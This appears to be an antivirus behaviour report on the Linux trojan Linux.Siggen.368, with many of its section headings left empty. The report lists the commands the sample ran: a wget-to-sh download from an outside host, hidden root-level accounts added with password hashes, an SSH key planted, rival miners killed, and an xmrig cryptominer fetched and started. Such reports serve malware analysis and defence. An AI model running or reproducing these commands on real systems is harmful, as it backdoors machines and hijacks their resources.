Linux.Siggen.368

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Gets access to SSH keys

Launches processes:

sh -c wget http://cf0.pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1
wget http://cf0.pw/0/etc/cron.hourly/0 -O-
sh
sed -i /^[^:]\+:x:0:/{/^root:/!d} /etc/passwd
sed -i /^$/d /etc/passwd
sed -i /^$/d /etc/shadow
useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$f344a097$L.vnLN/nzsnLirq5nMTBg. sudev
nscd -i passwd
nscd -i group
useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$.bHtz1HY$eNtJowby1b0WVTgQT2bLu/ jewbags
rm -f /etc/cron.hourly/1
mkdir -p /root
mkdir -p /root/.ssh
wget http://cf0.pw/log/ -O /dev/null
chmod +x /etc/cron.hourly/0
chmod +x /etc/cron.daily/0
chmod +x /etc/cron.weekly/0
chmod +x /etc/cron.monthly/0
apt-get install wget curl -y
/usr/bin/dpkg --print-foreign-architectures
/usr/lib/apt/methods/http
pkill -9 xmrig
grep rbdYSfTEtykGg /root/.ssh/authorized_keys
mkdir -p /usr/libexec
chmod 755 /root /root/.ssh /root/.ssh/authorized_keys
chown root:root /root /root/.ssh /root/.ssh/authorized_keys
rm -f /usr/libexec/x
wget http://cf0.pw/0/xmr.tgz -O /usr/libexec/x
ps auxw
grep -v grep
grep xmrig
tar zxvf x
gzip -d
cat /dev/urandom
tr -dc _A-Za-z0-9
head -c15
sed s/c285345992f8ae31/_sE8TX1mndYybsT/ -i config.json
touch /tmp/sdxsdf
./xmrig

Attempts to kill the following processes:

Kills the following processes:

Performs operations with the file system:

Modifies file access rights:

Creates folders:

Creates symlinks:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

HTTP GET requests:

cf#.####/etc/cron.hourly/0
cf#.pw/log/
ft#.##.######.#######ian/pool/main/c/curl/libcurl3_7.38.0-4%2bdeb8u5_amd64.deb
ft#.##.######.######bian/pool/main/w/wget/wget_1.16-1%2bdeb8u1_amd64.deb
ft#.##.######.######bian/pool/main/c/curl/curl_7.38.0-4%2bdeb8u5_amd64.deb
se######.######.######ol/updates/main/c/curl/libcurl3_7.38.0-4%2bdeb8u5_amd64.deb
se######.######.#####ool/updates/main/c/curl/curl_7.38.0-4%2bdeb8u5_amd64.deb
cf#.##/0/xmr.tgz

DNS ASK:

Other:

Collects CPU information

Collects RAM information

Collects information about network activity